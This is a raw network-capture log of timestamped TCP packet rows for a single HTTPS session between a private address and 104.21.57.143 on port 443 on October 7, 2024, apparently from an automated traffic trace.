Oct 7, 2024 20:59:06.749167919 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.749206066 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.749249935 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.749305964 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.749319077 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.749344110 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.749402046 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.749414921 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.767782927 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.767900944 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.767916918 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.767945051 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.768028021 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.768039942 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.768096924 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.768100977 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.768136024 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.768174887 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.768316984 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.768378019 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.768389940 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.768472910 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.768526077 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.768538952 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.768666983 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.768750906 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.768763065 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.768826008 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.768883944 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.768894911 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.768923044 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.768986940 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.769115925 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.769192934 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.769232035 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.769304991 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.769331932 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.769406080 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.769454956 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.769519091 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.769584894 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.769646883 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.769675970 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.769737959 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.769784927 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.769850969 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.769901037 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.769963980 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.770081043 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.770139933 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.770215034 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.770278931 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.770360947 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.770431995 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.770448923 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.770515919 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.770631075 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.770699024 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.770715952 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.770781040 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.770783901 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.770807028 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.770859003 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.770905972 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.770971060 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.774166107 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.774302006 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.774307013 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.774339914 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.774385929 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.774406910 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.774444103 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.774518013 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.774524927 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.774548054 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.774601936 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.774626017 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.774688959 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.774710894 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.774772882 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.774801970 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.774863958 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.830749035 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.830956936 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.830957890 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.830991030 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.831034899 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.831137896 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.831208944 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.831223011 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.831281900 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.831295013 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.831357002 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.831372976 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.831406116 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.831435919 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.831460953 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.831475973 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.831531048 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.831532001 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.831557989 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.831621885 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.831641912 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.831706047 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.869082928 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.869297981 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.869709969 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.869765997 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.869822025 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.869836092 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.869863987 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.869899988 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.869920015 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.870043039 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.870404005 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.870448112 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.870492935 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.870505095 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.870531082 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.870551109 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.870613098 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.870625973 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.870681047 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.870721102 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.870805979 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.870846987 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.870923996 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.870943069 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.871036053 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.871036053 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.871061087 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.871099949 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.871150970 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.871213913 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.871227980 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.871249914 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.871318102 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.871330976 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.871373892 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.871433020 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.871445894 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.871498108 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.871556997 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.871570110 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.871592999 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.871671915 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.871684074 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.871728897 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.871783972 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.871794939 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.871910095 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.871978998 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.871990919 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.872014999 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.872068882 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.872088909 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.872102976 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.872134924 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.872428894 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.872519970 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.872523069 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.872545004 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.872603893 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.913969040 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.914022923 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.914087057 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.914108038 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.914146900 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.914170980 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.935677052 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.935758114 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.935810089 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.935825109 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.935873032 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.935894966 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.935914993 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.936007977 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.936005116 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.936052084 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.936086893 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.936099052 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.936172009 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.936177969 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.936209917 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.936252117 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.936263084 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.936280012 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.936336994 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.936372042 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.936441898 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.936511993 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.936573029 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.936701059 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.936762094 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.936798096 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.936810017 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.936839104 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.936875105 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.937436104 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.937489986 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.937532902 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.937545061 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.937581062 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.937601089 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.937681913 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.937751055 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.937788010 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.937799931 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.937832117 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.937853098 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.938621044 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.938679934 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.938720942 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.938733101 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.938766003 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.938785076 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.997868061 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.997978926 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.998001099 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.998017073 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.998080969 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.998084068 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.998116016 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.998171091 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.998224974 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.998290062 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.998315096 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.998327971 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.998362064 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.998362064 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.998430014 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.998444080 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.020358086 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.020473957 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.020488024 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.020565987 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.023762941 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.023835897 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.023874998 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.023888111 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.023915052 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.023952007 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.023964882 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.024007082 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.024027109 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.024040937 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.024095058 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.024122953 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.024194956 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.024257898 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.024326086 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.024401903 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.024478912 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.024508953 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.024579048 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.024631977 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.024727106 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.024734020 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.024760962 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.024801016 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.024893999 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.024956942 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.024970055 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.025011063 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.025080919 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.025094032 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.025136948 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.025150061 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.025162935 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.025208950 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.025233984 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.025243998 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.025264025 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.025315046 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.025327921 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.025468111 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.025523901 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.025537014 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.025559902 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.025636911 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.025649071 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.025684118 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.025768995 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.025783062 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.025808096 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.025990963 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.026015997 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.026046991 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.026063919 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.026201963 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.026226044 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.026245117 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.026276112 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.026305914 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.026309967 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.026330948 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.026367903 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.026390076 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.026420116 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.026489973 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.078926086 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.079061985 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.079068899 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.079097986 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.079139948 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.079148054 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.079217911 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.079231024 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.103517056 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.103579044 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.103637934 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.103656054 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.103704929 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.105940104 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.105979919 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.106040001 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.106053114 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.106080055 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.106231928 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.106311083 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.106323957 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.106403112 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.106405973 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.106434107 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.106475115 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.106498003 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.106508017 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.106539011 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.106595039 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.106607914 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.107018948 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.107080936 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.107110023 CEST	49741	443	192.168.2.16	104.21.57.143
